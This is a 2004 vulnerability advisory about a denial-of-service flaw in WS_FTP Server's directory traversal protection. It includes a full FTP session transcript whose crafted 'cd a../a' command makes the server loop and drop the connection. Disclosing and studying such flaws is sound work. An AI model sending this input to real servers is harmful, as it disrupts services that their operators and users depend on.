WS_FTP Server's Directory Traversal Protection Mechanism causing DoS
31 Aug. 2004
Summary
A denial of service vulnerability has been found in WS_FTP Server. The vulnerability is caused by the module that parses incoming directory changes (CWD). The vulnerability causes the FTP server to consume large amounts of CPU power whenever it tries to protect itself from being exploited by a directory traversal vulnerability.
Due to an issue in WS_FTP Server's internal protection against directory traversal attacks, a remote attacker can cause WS_FTP to enter an infinite loop by sending it an especially formatted path change request.
Exploit: E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.
